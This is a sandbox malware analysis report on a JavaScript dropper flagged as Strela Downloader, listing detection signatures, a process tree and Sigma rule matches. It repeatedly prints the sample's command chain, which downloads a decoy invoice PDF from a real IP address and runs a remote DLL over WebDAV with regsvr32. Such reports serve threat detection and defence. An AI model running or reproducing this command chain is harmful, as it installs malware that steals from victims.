Joe Sandbox Cloud Basic Analysis Report

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Windows Analysis Report
313992165580428308.js

Overview

General Information

Sample name:313992165580428308.js
Analysis ID:1588858
MD5:26759aec9ca66e5b3fe1c07c761c8aa8
SHA1:1e661c45dc6d028547ae2c75d58f027f6a1bff33
SHA256:fdb29ddd1164934893a7ecc7af59400ccbf4ef66fc92b25af6ec3e1bf1cfab5c
Tags:jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

JScript performs obfuscated calls to suspicious functions
Multi AV Scanner detection for submitted file
Sigma detected: Powershell launch regsvr32
Suricata IDS alerts for network traffic
Yara detected Strela Downloader
Downloads files with wrong headers with respect to MIME Content-Type
Gathers information about network shares
JavaScript source code contains functionality to generate code involving a shell, file or stream
Sigma detected: Suspicious Invoke-WebRequest Execution
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses known network protocols on non-standard ports
Windows Scripting host checks user region and language preferences
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected non-DNS traffic on DNS port
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Communication To Uncommon Destination Ports
Sigma detected: Cscript/Wscript Potentially Suspicious Child Process
Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest
Sigma detected: PowerShell Script Run in AppData
Sigma detected: PowerShell Web Download
Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

  • System is w10x64
  • wscript.exe (PID: 6036 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\313992165580428308.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • cmd.exe (PID: 3748 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\922630713575.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 5376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 2444 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • Acrobat.exe (PID: 2324 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)
        • AcroCEF.exe (PID: 5996 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)
          • AcroCEF.exe (PID: 3048 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1632,i,4134587908810936070,5412147836034981098,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)
      • cmd.exe (PID: 5672 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • net.exe (PID: 4788 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)
  • svchost.exe (PID: 3856 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
Process Memory Space: wscript.exe PID: 6036JoeSecurity_StrelaDownloaderYara detected Strela DownloaderJoe Security

    Sigma Signatures

    System Summary

    barindex
    Sigma detected: Suspicious Invoke-WebRequest Execution
    Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\922630713575.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3748, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2444, ProcessName: powershell.exe
    Sigma detected: Suspicious Script Execution From Temp Folder
    Source: Process startedAuthor: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\922630713575.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3748, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2444, ProcessName: powershell.exe
    Sigma detected: WScript or CScript Dropper
    Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\313992165580428308.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\313992165580428308.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\313992165580428308.js", ProcessId: 6036, ProcessName: wscript.exe
    Sigma detected: Communication To Uncommon Destination Ports
    Source: Network ConnectionAuthor: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4788, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49714
    Sigma detected: Cscript/Wscript Potentially Suspicious Child Process
    Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\922630713575.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\922630713575.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\313992165580428308.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6036, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\922630713575.dll, ProcessId: 3748, ProcessName: cmd.exe
    Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest
    Source: Process startedAuthor: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\922630713575.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\922630713575.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\313992165580428308.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6036, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\922630713575.dll, ProcessId: 3748, ProcessName: cmd.exe
    Sigma detected: PowerShell Script Run in AppData
    Source: Process startedAuthor: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\922630713575.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\922630713575.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\313992165580428308.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6036, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\922630713575.dll, ProcessId: 3748, ProcessName: cmd.exe
    Sigma detected: PowerShell Web Download
    Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\922630713575.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\922630713575.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\313992165580428308.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6036, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\922630713575.dll, ProcessId: 3748, ProcessName: cmd.exe
    Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP
    Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\922630713575.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3748, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2444, ProcessName: powershell.exe
    Sigma detected: Usage Of Web Request Commands And Cmdlets
    Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\922630713575.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\922630713575.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\313992165580428308.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6036, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\922630713575.dll, ProcessId: 3748, ProcessName: cmd.exe
    Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
    Source: Process startedAuthor: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\313992165580428308.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\313992165580428308.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\313992165580428308.js", ProcessId: 6036, ProcessName: wscript.exe
    Sigma detected: Non Interactive PowerShell Process Spawned
    Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\922630713575.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3748, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2444, ProcessName: powershell.exe
    Sigma detected: System Network Connections Discovery Via Net.EXE
    Source: Process startedAuthor: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5672, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4788, ProcessName: net.exe
    Sigma detected: Windows Processes Suspicious Parent Directory
    Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System<